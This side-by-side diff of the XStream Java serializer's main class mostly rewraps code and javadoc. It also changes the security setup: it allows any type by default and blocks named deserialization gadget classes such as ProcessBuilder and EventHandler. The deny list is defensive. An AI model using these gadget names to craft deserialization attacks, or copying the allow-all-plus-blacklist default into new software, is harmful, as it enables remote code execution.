425	399	* instead
426	400	*/
427		public XStream(
428		ReflectionProvider reflectionProvider, Mapper mapper, HierarchicalStreamDriver driver) {
	401	public XStream(ReflectionProvider reflectionProvider, Mapper mapper, HierarchicalStreamDriver driver) {
429	402	this(reflectionProvider, driver, new CompositeClassLoader(), mapper);
430	403	}
431	404
432	405	/**
433		* Constructs an XStream with a special {@link HierarchicalStreamDriver},
434		* {@link ReflectionProvider} and a {@link ClassLoaderReference}.
435		*
436		* @param reflectionProvider the reflection provider to use or <em>null</em> for best
437		* matching Provider
	406	* Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider} and a
	407	* {@link ClassLoaderReference}.
	408	*
	409	* @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
438	410	* @param driver the driver instance
439	411	* @param classLoaderReference the reference to the {@link ClassLoader} to use
440	412	* @throws InitializationException in case of an initialization problem
441	413	* @since 1.4.5
442	414	*/
443	415	public XStream(
444		ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
445		ClassLoaderReference classLoaderReference) {
	416	ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
	417	ClassLoaderReference classLoaderReference) {
446	418	this(reflectionProvider, driver, classLoaderReference, null);
447	419	}
448	420
449	421	/**
450		* Constructs an XStream with a special {@link HierarchicalStreamDriver},
451		* {@link ReflectionProvider} and the {@link ClassLoader} to use.
	422	* Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider} and the
	423	* {@link ClassLoader} to use.
452	424	*
453	425	* @throws InitializationException in case of an initialization problem
454	426	* @since 1.3
455		* @deprecated As of 1.4.5 use
456		* {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoaderReference)}
457		*/
458		public XStream(
459		ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
460		ClassLoader classLoader) {
	427	* @deprecated As of 1.4.5 use {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoaderReference)}
	428	*/
	429	public XStream(ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver, ClassLoader classLoader) {
461	430	this(reflectionProvider, driver, classLoader, null);
462	431	}
463	432
464	433	/**
465		* Constructs an XStream with a special {@link HierarchicalStreamDriver},
466		* {@link ReflectionProvider}, a prepared {@link Mapper} chain and the {@link ClassLoader}
467		* to use.
468		*
469		* @param reflectionProvider the reflection provider to use or <em>null</em> for best
470		* matching Provider
	434	* Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider}, a prepared
	435	* {@link Mapper} chain and the {@link ClassLoader} to use.
	436	*
	437	* @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
471	438	* @param driver the driver instance
472	439	* @param classLoader the {@link ClassLoader} to use
473		* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
474		* chain
	440	* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
475	441	* @throws InitializationException in case of an initialization problem
476	442	* @since 1.3
477	443	* @deprecated As of 1.4.5 use
478	444	* {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoaderReference, Mapper)}
479	445	*/
480	446	public XStream(
481		ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
482		ClassLoader classLoader, Mapper mapper) {
483		this(
484		reflectionProvider, driver, new ClassLoaderReference(classLoader), mapper, new DefaultConverterLookup());
485		}
486
487		/**
488		* Constructs an XStream with a special {@link HierarchicalStreamDriver},
489		* {@link ReflectionProvider}, a prepared {@link Mapper} chain and the
490		* {@link ClassLoaderReference}.
	447	ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver, ClassLoader classLoader,
	448	Mapper mapper) {
	449	this(reflectionProvider, driver, new ClassLoaderReference(classLoader), mapper, new DefaultConverterLookup());
	450	}
	451
	452	/**
	453	* Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider}, a prepared
	454	* {@link Mapper} chain and the {@link ClassLoaderReference}.
491	455	* <p>
492	456	* The {@link ClassLoaderReference} should also be used for the {@link Mapper} chain.
493	457	* </p>
494	458	*
495		* @param reflectionProvider the reflection provider to use or <em>null</em> for best
496		* matching Provider
	459	* @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
497	460	* @param driver the driver instance
498	461	* @param classLoaderReference the reference to the {@link ClassLoader} to use
499		* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
500		* chain
	462	* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
501	463	* @throws InitializationException in case of an initialization problem
502	464	* @since 1.4.5
503	465	*/
504	466	public XStream(
505		ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
506		ClassLoaderReference classLoaderReference, Mapper mapper) {
507		this(
508		reflectionProvider, driver, classLoaderReference, mapper, new DefaultConverterLookup());
509		}
510
	467	ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
	468	ClassLoaderReference classLoaderReference, Mapper mapper) {
	469	this(reflectionProvider, driver, classLoaderReference, mapper, new DefaultConverterLookup());
	470	}
	471
511	472	private XStream(
512	473	ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver, ClassLoaderReference classLoader,
513	474	Mapper mapper, final DefaultConverterLookup defaultConverterLookup) {

523	484	}
524	485
525	486	/**
526		* Constructs an XStream with a special {@link HierarchicalStreamDriver},
527		* {@link ReflectionProvider}, a prepared {@link Mapper} chain, the
528		* {@link ClassLoaderReference} and an own {@link ConverterLookup} and
	487	* Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider}, a prepared
	488	* {@link Mapper} chain, the {@link ClassLoaderReference} and an own {@link ConverterLookup} and
529	489	* {@link ConverterRegistry}.
530	490	*
531		* @param reflectionProvider the reflection provider to use or <em>null</em> for best
532		* matching Provider
	491	* @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
533	492	* @param driver the driver instance
534	493	* @param classLoader the {@link ClassLoader} to use
535		* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
536		* chain
	494	* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
537	495	* @param converterLookup the instance that is used to lookup the converters
538	496	* @param converterRegistry an instance to manage the converter instances
539	497	* @throws InitializationException in case of an initialization problem

542	500	* {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoaderReference, Mapper, ConverterLookup, ConverterRegistry)}
543	501	*/
544	502	public XStream(
545		ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
546		ClassLoader classLoader, Mapper mapper, ConverterLookup converterLookup,
547		ConverterRegistry converterRegistry) {
548		this(reflectionProvider, driver, new ClassLoaderReference(classLoader), mapper, converterLookup, converterRegistry);
549		}
550
551		/**
552		* Constructs an XStream with a special {@link HierarchicalStreamDriver},
553		* {@link ReflectionProvider}, a prepared {@link Mapper} chain, the
554		* {@link ClassLoaderReference} and an own {@link ConverterLookup} and
	503	ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver, ClassLoader classLoader,
	504	Mapper mapper, ConverterLookup converterLookup, ConverterRegistry converterRegistry) {
	505	this(reflectionProvider, driver, new ClassLoaderReference(classLoader), mapper, converterLookup,
	506	converterRegistry);
	507	}
	508
	509	/**
	510	* Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider}, a prepared
	511	* {@link Mapper} chain, the {@link ClassLoaderReference} and an own {@link ConverterLookup} and
555	512	* {@link ConverterRegistry}.
556	513	* <p>
557		* The ClassLoaderReference should also be used for the Mapper chain. The ConverterLookup
558		* should access the ConverterRegistry if you intent to register {@link Converter} instances
559		* with XStream facade or you are using annotations.
	514	* The ClassLoaderReference should also be used for the Mapper chain. The ConverterLookup should access the
	515	* ConverterRegistry if you intent to register {@link Converter} instances with XStream facade or you are using
	516	* annotations.
560	517	* </p>
561	518	*
562		* @param reflectionProvider the reflection provider to use or <em>null</em> for best
563		* matching Provider
	519	* @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
564	520	* @param driver the driver instance
565	521	* @param classLoaderReference the reference to the {@link ClassLoader} to use
566		* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
567		* chain
	522	* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
568	523	* @param converterLookup the instance that is used to lookup the converters
569		* @param converterRegistry an instance to manage the converter instances or <em>null</em>
570		* to prevent any further registry (including annotations)
	524	* @param converterRegistry an instance to manage the converter instances or <em>null</em> to prevent any further
	525	* registry (including annotations)
571	526	* @throws InitializationException in case of an initialization problem
572	527	* @since 1.4.5
573	528	*/
574	529	public XStream(
575		ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
576		ClassLoaderReference classLoaderReference, Mapper mapper, ConverterLookup converterLookup,
577		ConverterRegistry converterRegistry) {
	530	ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
	531	ClassLoaderReference classLoaderReference, Mapper mapper, ConverterLookup converterLookup,
	532	ConverterRegistry converterRegistry) {
578	533	if (reflectionProvider == null) {
579	534	reflectionProvider = JVM.newReflectionProvider();
580	535	}

612	567	mapper = new DefaultImplementationsMapper(mapper);
613	568	mapper = new AttributeMapper(mapper, converterLookup, reflectionProvider);
614	569	if (JVM.isVersion(5)) {
615		mapper = buildMapperDynamically(
616		"com.thoughtworks.xstream.mapper.EnumMapper", new Class[]{Mapper.class},
	570	mapper = buildMapperDynamically("com.thoughtworks.xstream.mapper.EnumMapper", new Class[]{Mapper.class},
617	571	new Object[]{mapper});
618	572	}
619	573	mapper = new LocalConversionMapper(mapper);

625	579	mapper = new SecurityMapper(mapper);
626	580	if (JVM.isVersion(5)) {
627	581	mapper = buildMapperDynamically(ANNOTATION_MAPPER_TYPE, new Class[]{
628		Mapper.class, ConverterRegistry.class, ConverterLookup.class,
629		ClassLoaderReference.class, ReflectionProvider.class}, new Object[]{
630		mapper, converterRegistry, converterLookup, classLoaderReference,
631		reflectionProvider});
	582	Mapper.class, ConverterRegistry.class, ConverterLookup.class, ClassLoaderReference.class,
	583	ReflectionProvider.class}, new Object[]{
	584	mapper, converterRegistry, converterLookup, classLoaderReference, reflectionProvider});
632	585	}
633	586	mapper = wrapMapper((MapperWrapper)mapper);
634	587	mapper = new CachingMapper(mapper);

636	589	}
637	590
638	591	private Mapper buildMapperDynamically(String className, Class[] constructorParamTypes,
639		Object[] constructorParamValues) {
	592	Object[] constructorParamValues) {
640	593	try {
641	594	Class type = Class.forName(className, false, classLoaderReference.getReference());
642	595	Constructor constructor = type.getConstructor(constructorParamTypes);
643	596	return (Mapper)constructor.newInstance(constructorParamValues);
644	597	} catch (Exception e) {
645		throw new com.thoughtworks.xstream.InitializationException(
646		"Could not instantiate mapper : " + className, e);
	598	throw new com.thoughtworks.xstream.InitializationException("Could not instantiate mapper : " + className,
	599	e);
647	600	} catch (LinkageError e) {
648		throw new com.thoughtworks.xstream.InitializationException(
649		"Could not instantiate mapper : " + className, e);
	601	throw new com.thoughtworks.xstream.InitializationException("Could not instantiate mapper : " + className,
	602	e);
650	603	}
651	604	}
652	605

662	615	}
663	616
664	617	private void setupMappers() {
665		packageAliasingMapper = (PackageAliasingMapper)this.mapper
666		.lookupMapperOfType(PackageAliasingMapper.class);
667		classAliasingMapper = (ClassAliasingMapper)this.mapper
668		.lookupMapperOfType(ClassAliasingMapper.class);
669		elementIgnoringMapper = (ElementIgnoringMapper)this.mapper
670		.lookupMapperOfType(ElementIgnoringMapper.class);
671		fieldAliasingMapper = (FieldAliasingMapper)this.mapper
672		.lookupMapperOfType(FieldAliasingMapper.class);
673		attributeMapper = (AttributeMapper)this.mapper
674		.lookupMapperOfType(AttributeMapper.class);
	618	packageAliasingMapper = (PackageAliasingMapper)this.mapper.lookupMapperOfType(PackageAliasingMapper.class);
	619	classAliasingMapper = (ClassAliasingMapper)this.mapper.lookupMapperOfType(ClassAliasingMapper.class);
	620	elementIgnoringMapper = (ElementIgnoringMapper)this.mapper.lookupMapperOfType(ElementIgnoringMapper.class);
	621	fieldAliasingMapper = (FieldAliasingMapper)this.mapper.lookupMapperOfType(FieldAliasingMapper.class);
	622	attributeMapper = (AttributeMapper)this.mapper.lookupMapperOfType(AttributeMapper.class);
675	623	attributeAliasingMapper = (AttributeAliasingMapper)this.mapper
676	624	.lookupMapperOfType(AttributeAliasingMapper.class);
677	625	systemAttributeAliasingMapper = (SystemAttributeAliasingMapper)this.mapper

680	628	.lookupMapperOfType(ImplicitCollectionMapper.class);
681	629	defaultImplementationsMapper = (DefaultImplementationsMapper)this.mapper
682	630	.lookupMapperOfType(DefaultImplementationsMapper.class);
683		immutableTypesMapper = (ImmutableTypesMapper)this.mapper
684		.lookupMapperOfType(ImmutableTypesMapper.class);
685		localConversionMapper = (LocalConversionMapper)this.mapper
686		.lookupMapperOfType(LocalConversionMapper.class);
687		securityMapper = (SecurityMapper)this.mapper
688		.lookupMapperOfType(SecurityMapper.class);
	631	immutableTypesMapper = (ImmutableTypesMapper)this.mapper.lookupMapperOfType(ImmutableTypesMapper.class);
	632	localConversionMapper = (LocalConversionMapper)this.mapper.lookupMapperOfType(LocalConversionMapper.class);
	633	securityMapper = (SecurityMapper)this.mapper.lookupMapperOfType(SecurityMapper.class);
689	634	annotationConfiguration = (AnnotationConfiguration)this.mapper
690	635	.lookupMapperOfType(AnnotationConfiguration.class);
691	636	}
692
	637
693	638	protected void setupSecurity() {
694	639	if (securityMapper == null) {
695	640	return;
696	641	}
697
	642
698	643	addPermission(AnyTypePermission.ANY);
	644	denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter"});
	645	denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO});
	646	allowTypeHierarchy(Exception.class);
699	647	securityInitialized = false;
700	648	}
701	649

839	787	alias("tree-map", TreeMap.class);
840	788	alias("tree-set", TreeSet.class);
841	789	alias("hashtable", Hashtable.class);
842
	790
843	791	alias("empty-list", Collections.EMPTY_LIST.getClass());
844	792	alias("empty-map", Collections.EMPTY_MAP.getClass());
845	793	alias("empty-set", Collections.EMPTY_SET.getClass());

888	836	alias("string-builder", JVM.loadClassForName("java.lang.StringBuilder"));
889	837	alias("uuid", JVM.loadClassForName("java.util.UUID"));
890	838	}
891
	839
892	840	if (JVM.isVersion(7)) {
893	841	aliasType("path", JVM.loadClassForName("java.nio.file.Path"));
894	842	}

955	903	}
956	904
957	905	protected void setupConverters() {
958		registerConverter(
959		new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW);
960
961		registerConverter(
962		new SerializableConverter(mapper, reflectionProvider, classLoaderReference), PRIORITY_LOW);
	906	registerConverter(new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW);
	907
	908	registerConverter(new SerializableConverter(mapper, reflectionProvider, classLoaderReference), PRIORITY_LOW);
963	909	registerConverter(new ExternalizableConverter(mapper, classLoaderReference), PRIORITY_LOW);
964		registerConverter(new InternalBlackList(), PRIORITY_LOW);
965	910
966	911	registerConverter(new NullConverter(), PRIORITY_VERY_HIGH);
967	912	registerConverter(new IntConverter(), PRIORITY_NORMAL);

1010	955	registerConverter(new TextAttributeConverter(), PRIORITY_NORMAL);
1011	956	}
1012	957	if (JVM.isSwingAvailable()) {
1013		registerConverter(
1014		new LookAndFeelConverter(mapper, reflectionProvider), PRIORITY_NORMAL);
	958	registerConverter(new LookAndFeelConverter(mapper, reflectionProvider), PRIORITY_NORMAL);
1015	959	}
1016	960	registerConverter(new LocaleConverter(), PRIORITY_NORMAL);
1017	961	registerConverter(new GregorianCalendarConverter(), PRIORITY_NORMAL);
1018	962
1019	963	if (JVM.isVersion(4)) {
1020	964	// late bound converters - allows XStream to be compiled on earlier JDKs
1021		registerConverterDynamically(
1022		"com.thoughtworks.xstream.converters.extended.SubjectConverter",
	965	registerConverterDynamically("com.thoughtworks.xstream.converters.extended.SubjectConverter",
1023	966	PRIORITY_NORMAL, new Class[]{Mapper.class}, new Object[]{mapper});
1024		registerConverterDynamically(
1025		"com.thoughtworks.xstream.converters.extended.ThrowableConverter",
1026		PRIORITY_NORMAL, new Class[]{ConverterLookup.class},
1027		new Object[]{converterLookup});
1028		registerConverterDynamically(
1029		"com.thoughtworks.xstream.converters.extended.StackTraceElementConverter",
	967	registerConverterDynamically("com.thoughtworks.xstream.converters.extended.ThrowableConverter",
	968	PRIORITY_NORMAL, new Class[]{ConverterLookup.class}, new Object[]{converterLookup});
	969	registerConverterDynamically("com.thoughtworks.xstream.converters.extended.StackTraceElementConverter",
1030	970	PRIORITY_NORMAL, null, null);
1031		registerConverterDynamically(
1032		"com.thoughtworks.xstream.converters.extended.CurrencyConverter",
	971	registerConverterDynamically("com.thoughtworks.xstream.converters.extended.CurrencyConverter",
1033	972	PRIORITY_NORMAL, null, null);
1034		registerConverterDynamically(
1035		"com.thoughtworks.xstream.converters.extended.RegexPatternConverter",
	973	registerConverterDynamically("com.thoughtworks.xstream.converters.extended.RegexPatternConverter",
1036	974	PRIORITY_NORMAL, null, null);
1037		registerConverterDynamically(
1038		"com.thoughtworks.xstream.converters.extended.CharsetConverter",
	975	registerConverterDynamically("com.thoughtworks.xstream.converters.extended.CharsetConverter",
1039	976	PRIORITY_NORMAL, null, null);
1040	977	}
1041	978
1042	979	if (JVM.isVersion(5)) {
1043	980	// late bound converters - allows XStream to be compiled on earlier JDKs
1044	981	if (JVM.loadClassForName("javax.xml.datatype.Duration") != null) {
1045		registerConverterDynamically(
1046		"com.thoughtworks.xstream.converters.extended.DurationConverter",
	982	registerConverterDynamically("com.thoughtworks.xstream.converters.extended.DurationConverter",
1047	983	PRIORITY_NORMAL, null, null);
1048	984	}
1049		registerConverterDynamically(
1050		"com.thoughtworks.xstream.converters.enums.EnumConverter", PRIORITY_NORMAL,
	985	registerConverterDynamically("com.thoughtworks.xstream.converters.enums.EnumConverter", PRIORITY_NORMAL,
1051	986	null, null);
1052		registerConverterDynamically(
1053		"com.thoughtworks.xstream.converters.enums.EnumSetConverter", PRIORITY_NORMAL,
	987	registerConverterDynamically("com.thoughtworks.xstream.converters.enums.EnumSetConverter", PRIORITY_NORMAL,
1054	988	new Class[]{Mapper.class}, new Object[]{mapper});
1055		registerConverterDynamically(
1056		"com.thoughtworks.xstream.converters.enums.EnumMapConverter", PRIORITY_NORMAL,
	989	registerConverterDynamically("com.thoughtworks.xstream.converters.enums.EnumMapConverter", PRIORITY_NORMAL,
1057	990	new Class[]{Mapper.class}, new Object[]{mapper});
1058		registerConverterDynamically(
1059		"com.thoughtworks.xstream.converters.basic.StringBuilderConverter",
	991	registerConverterDynamically("com.thoughtworks.xstream.converters.basic.StringBuilderConverter",
1060	992	PRIORITY_NORMAL, null, null);
1061		registerConverterDynamically(
1062		"com.thoughtworks.xstream.converters.basic.UUIDConverter", PRIORITY_NORMAL,
	993	registerConverterDynamically("com.thoughtworks.xstream.converters.basic.UUIDConverter", PRIORITY_NORMAL,
1063	994	null, null);
1064	995	}
1065	996	if (JVM.loadClassForName("javax.activation.ActivationDataFlavor") != null) {

1067	998	PRIORITY_NORMAL, null, null);
1068	999	}
1069	1000	if (JVM.isVersion(7)) {
1070		registerConverterDynamically("com.thoughtworks.xstream.converters.extended.PathConverter",
1071		PRIORITY_NORMAL, null, null);
	1001	registerConverterDynamically("com.thoughtworks.xstream.converters.extended.PathConverter", PRIORITY_NORMAL,
	1002	null, null);
1072	1003	}
1073	1004	if (JVM.isVersion(8)) {
1074	1005	registerConverterDynamically("com.thoughtworks.xstream.converters.time.ChronologyConverter",

1120	1051	new Object[]{mapper, reflectionProvider, classLoaderReference});
1121	1052	}
1122	1053
1123		registerConverter(
1124		new SelfStreamingInstanceChecker(converterLookup, this), PRIORITY_NORMAL);
1125		}
1126
1127		private void registerConverterDynamically(String className, int priority,
1128		Class[] constructorParamTypes, Object[] constructorParamValues) {
	1054	registerConverter(new SelfStreamingInstanceChecker(converterLookup, this), PRIORITY_NORMAL);
	1055	}
	1056
	1057	private void registerConverterDynamically(String className, int priority, Class[] constructorParamTypes,
	1058	Object[] constructorParamValues) {
1129	1059	try {
1130	1060	Class type = Class.forName(className, false, classLoaderReference.getReference());
1131	1061	Constructor constructor = type.getConstructor(constructorParamTypes);

1136	1066	registerConverter((SingleValueConverter)instance, priority);
1137	1067	}
1138	1068	} catch (Exception e) {
1139		throw new com.thoughtworks.xstream.InitializationException(
1140		"Could not instantiate converter : " + className, e);
	1069	throw new com.thoughtworks.xstream.InitializationException("Could not instantiate converter : " + className,
	1070	e);
1141	1071	} catch (LinkageError e) {
1142		throw new com.thoughtworks.xstream.InitializationException(
1143		"Could not instantiate converter : " + className, e);
	1072	throw new com.thoughtworks.xstream.InitializationException("Could not instantiate converter : " + className,
	1073	e);
1144	1074	}
1145	1075	}
1146	1076

1181	1111	if (type != null) {
1182	1112	Method methodGet;
1183	1113	try {
1184		methodGet = type.getDeclaredMethod("get", new Class[] {String.class, String[].class});
	1114	methodGet = type.getDeclaredMethod("get", new Class[]{String.class, String[].class});
1185	1115	if (methodGet != null) {
1186	1116	Object path = methodGet.invoke(null, new Object[]{".", new String[0]});
1187	1117	if (path != null) {

1205	1135	addImmutableTypeDynamically("java.nio.charset.Charset", true);
1206	1136	addImmutableTypeDynamically("java.util.Currency", true);
1207	1137	}
1208
	1138
1209	1139	if (JVM.isVersion(5)) {
1210	1140	addImmutableTypeDynamically("java.util.UUID", true);
1211	1141	}

1270	1200	}
1271	1201
1272	1202	/**
1273		* Serialize an object to the given Writer as pretty-printed XML. The Writer will be flushed
1274		* afterwards and in case of an exception.
	1203	* Serialize an object to the given Writer as pretty-printed XML. The Writer will be flushed afterwards and in case
	1204	* of an exception.
1275	1205	*
1276	1206	* @throws XStreamException if the object cannot be serialized
1277	1207	*/

1285	1215	}
1286	1216
1287	1217	/**
1288		* Serialize an object to the given OutputStream as pretty-printed XML. The OutputStream
1289		* will be flushed afterwards and in case of an exception.
	1218	* Serialize an object to the given OutputStream as pretty-printed XML. The OutputStream will be flushed afterwards
	1219	* and in case of an exception.
1290	1220	*
1291	1221	* @throws XStreamException if the object cannot be serialized
1292	1222	*/

1311	1241	/**
1312	1242	* Serialize and object to a hierarchical data structure (such as XML).
1313	1243	*
1314		* @param dataHolder Extra data you can use to pass to your converters. Use this as you
1315		* want. If not present, XStream shall create one lazily as needed.
	1244	* @param dataHolder Extra data you can use to pass to your converters. Use this as you want. If not present,
	1245	* XStream shall create one lazily as needed.
1316	1246	* @throws XStreamException if the object cannot be serialized
1317	1247	*/
1318	1248	public void marshal(Object obj, HierarchicalStreamWriter writer, DataHolder dataHolder) {

1347	1277	}
1348	1278
1349	1279	/**
1350		* Deserialize an object from a URL.
1351		*
1352		* Depending on the parser implementation, some might take the file path as SystemId to
1353		* resolve additional references.
	1280	* Deserialize an object from a URL. Depending on the parser implementation, some might take the file path as
	1281	* SystemId to resolve additional references.
1354	1282	*
1355	1283	* @throws XStreamException if the object cannot be deserialized
1356	1284	* @since 1.4

1360	1288	}
1361	1289
1362	1290	/**
1363		* Deserialize an object from a file.
1364		*
1365		* Depending on the parser implementation, some might take the file path as SystemId to
1366		* resolve additional references.
	1291	* Deserialize an object from a file. Depending on the parser implementation, some might take the file path as
	1292	* SystemId to resolve additional references.
1367	1293	*
1368	1294	* @throws XStreamException if the object cannot be deserialized
1369	1295	* @since 1.4

1373	1299	}
1374	1300
1375	1301	/**
1376		* Deserialize an object from an XML String, populating the fields of the given root object
1377		* instead of instantiating a new one. Note, that this is a special use case! With the
1378		* ReflectionConverter XStream will write directly into the raw memory area of the existing
1379		* object. Use with care!
	1302	* Deserialize an object from an XML String, populating the fields of the given root object instead of instantiating
	1303	* a new one. Note, that this is a special use case! With the ReflectionConverter XStream will write directly into
	1304	* the raw memory area of the existing object. Use with care!
1380	1305	*
1381	1306	* @throws XStreamException if the object cannot be deserialized
1382	1307	*/

1385	1310	}
1386	1311
1387	1312	/**
1388		* Deserialize an object from an XML Reader, populating the fields of the given root object
1389		* instead of instantiating a new one. Note, that this is a special use case! With the
1390		* ReflectionConverter XStream will write directly into the raw memory area of the existing
1391		* object. Use with care!
	1313	* Deserialize an object from an XML Reader, populating the fields of the given root object instead of instantiating
	1314	* a new one. Note, that this is a special use case! With the ReflectionConverter XStream will write directly into
	1315	* the raw memory area of the existing object. Use with care!
1392	1316	*
1393	1317	* @throws XStreamException if the object cannot be deserialized
1394	1318	*/

1397	1321	}
1398	1322
1399	1323	/**
1400		* Deserialize an object from a URL, populating the fields of the given root
1401		* object instead of instantiating a new one. Note, that this is a special use case! With
1402		* the ReflectionConverter XStream will write directly into the raw memory area of the
1403		* existing object. Use with care!
1404		*
1405		* Depending on the parser implementation, some might take the file path as SystemId to
1406		* resolve additional references.
	1324	* Deserialize an object from a URL, populating the fields of the given root object instead of instantiating a new
	1325	* one. Note, that this is a special use case! With the ReflectionConverter XStream will write directly into the raw
	1326	* memory area of the existing object. Use with care! Depending on the parser implementation, some might take the
	1327	* file path as SystemId to resolve additional references.
1407	1328	*
1408	1329	* @throws XStreamException if the object cannot be deserialized
1409	1330	* @since 1.4

1413	1334	}
1414	1335
1415	1336	/**
1416		* Deserialize an object from a file, populating the fields of the given root
1417		* object instead of instantiating a new one. Note, that this is a special use case! With
1418		* the ReflectionConverter XStream will write directly into the raw memory area of the
1419		* existing object. Use with care!
1420		*
1421		* Depending on the parser implementation, some might take the file path as SystemId to
1422		* resolve additional references.
	1337	* Deserialize an object from a file, populating the fields of the given root object instead of instantiating a new
	1338	* one. Note, that this is a special use case! With the ReflectionConverter XStream will write directly into the raw
	1339	* memory area of the existing object. Use with care! Depending on the parser implementation, some might take the
	1340	* file path as SystemId to resolve additional references.
1423	1341	*
1424	1342	* @throws XStreamException if the object cannot be deserialized
1425	1343	* @since 1.4

1434	1352	}
1435	1353
1436	1354	/**
1437		* Deserialize an object from an XML InputStream, populating the fields of the given root
1438		* object instead of instantiating a new one. Note, that this is a special use case! With
1439		* the ReflectionConverter XStream will write directly into the raw memory area of the
1440		* existing object. Use with care!
	1355	* Deserialize an object from an XML InputStream, populating the fields of the given root object instead of
	1356	* instantiating a new one. Note, that this is a special use case! With the ReflectionConverter XStream will write
	1357	* directly into the raw memory area of the existing object. Use with care!
1441	1358	*
1442	1359	* @throws XStreamException if the object cannot be deserialized
1443	1360	*/

1455	1372	}
1456	1373
1457	1374	/**
1458		* Deserialize an object from a hierarchical data structure (such as XML), populating the
1459		* fields of the given root object instead of instantiating a new one. Note, that this is a
1460		* special use case! With the ReflectionConverter XStream will write directly into the raw
1461		* memory area of the existing object. Use with care!
	1375	* Deserialize an object from a hierarchical data structure (such as XML), populating the fields of the given root
	1376	* object instead of instantiating a new one. Note, that this is a special use case! With the ReflectionConverter
	1377	* XStream will write directly into the raw memory area of the existing object. Use with care!
1462	1378	*
1463	1379	* @throws XStreamException if the object cannot be deserialized
1464	1380	*/

1469	1385	/**
1470	1386	* Deserialize an object from a hierarchical data structure (such as XML).
1471	1387	*
1472		* @param root If present, the passed in object will have its fields populated, as opposed
1473		* to XStream creating a new instance. Note, that this is a special use case!
1474		* With the ReflectionConverter XStream will write directly into the raw memory
1475		* area of the existing object. Use with care!
1476		* @param dataHolder Extra data you can use to pass to your converters. Use this as you
1477		* want. If not present, XStream shall create one lazily as needed.
	1388	* @param root If present, the passed in object will have its fields populated, as opposed to XStream creating a new
	1389	* instance. Note, that this is a special use case! With the ReflectionConverter XStream will write
	1390	* directly into the raw memory area of the existing object. Use with care!
	1391	* @param dataHolder Extra data you can use to pass to your converters. Use this as you want. If not present,
	1392	* XStream shall create one lazily as needed.
1478	1393	* @throws XStreamException if the object cannot be deserialized
1479	1394	*/
1480	1395	public Object unmarshal(HierarchicalStreamReader reader, Object root, DataHolder dataHolder) {
1481	1396	try {
1482	1397	if (!securityInitialized && !securityWarningGiven) {
1483	1398	securityWarningGiven = true;
1484		System.err.println("Security framework of XStream not initialized, XStream is probably vulnerable.");
	1399	System.err
	1400	.println(
	1401	"Security framework of XStream not explicitly initialized, using predefined black list on your own risk.");
1485	1402	}
1486		return marshallingStrategy.unmarshal(
1487		root, reader, dataHolder, converterLookup, mapper);
	1403	return marshallingStrategy.unmarshal(root, reader, dataHolder, converterLookup, mapper);
1488	1404
1489	1405	} catch (ConversionException e) {
1490	1406	Package pkg = getClass().getPackage();

1511	1427	}
1512	1428
1513	1429	/**
1514		* Alias a type to a shorter name to be used in XML elements. Any class that is assignable
1515		* to this type will be aliased to the same name.
	1430	* Alias a type to a shorter name to be used in XML elements. Any class that is assignable to this type will be
	1431	* aliased to the same name.
1516	1432	*
1517	1433	* @param name Short name
1518	1434	* @param type Type to be aliased

1534	1450	* @param name Short name
1535	1451	* @param type Type to be aliased
1536	1452	* @param defaultImplementation Default implementation of type to use if no other specified.
1537		* @throws InitializationException if no {@link DefaultImplementationsMapper} or no
1538		* {@link ClassAliasingMapper} is available
	1453	* @throws InitializationException if no {@link DefaultImplementationsMapper} or no {@link ClassAliasingMapper} is
	1454	* available
1539	1455	*/
1540	1456	public void alias(String name, Class type, Class defaultImplementation) {
1541	1457	alias(name, type);

1547	1463	*
1548	1464	* @param name Short name
1549	1465	* @param pkgName package to be aliased
1550		* @throws InitializationException if no {@link DefaultImplementationsMapper} or no
1551		* {@link PackageAliasingMapper} is available
	1466	* @throws InitializationException if no {@link DefaultImplementationsMapper} or no {@link PackageAliasingMapper} is
	1467	* available
1552	1468	* @since 1.3.1
1553	1469	*/
1554	1470	public void aliasPackage(String name, String pkgName) {

1594	1510	}
1595	1511
1596	1512	/**
1597		* Create an alias for a system attribute. XStream will not write a system attribute if its
1598		* alias is set to <code>null</code>. However, this is not reversible, i.e. deserialization
1599		* of the result is likely to fail afterwards and will not produce an object equal to the
1600		* originally written one.
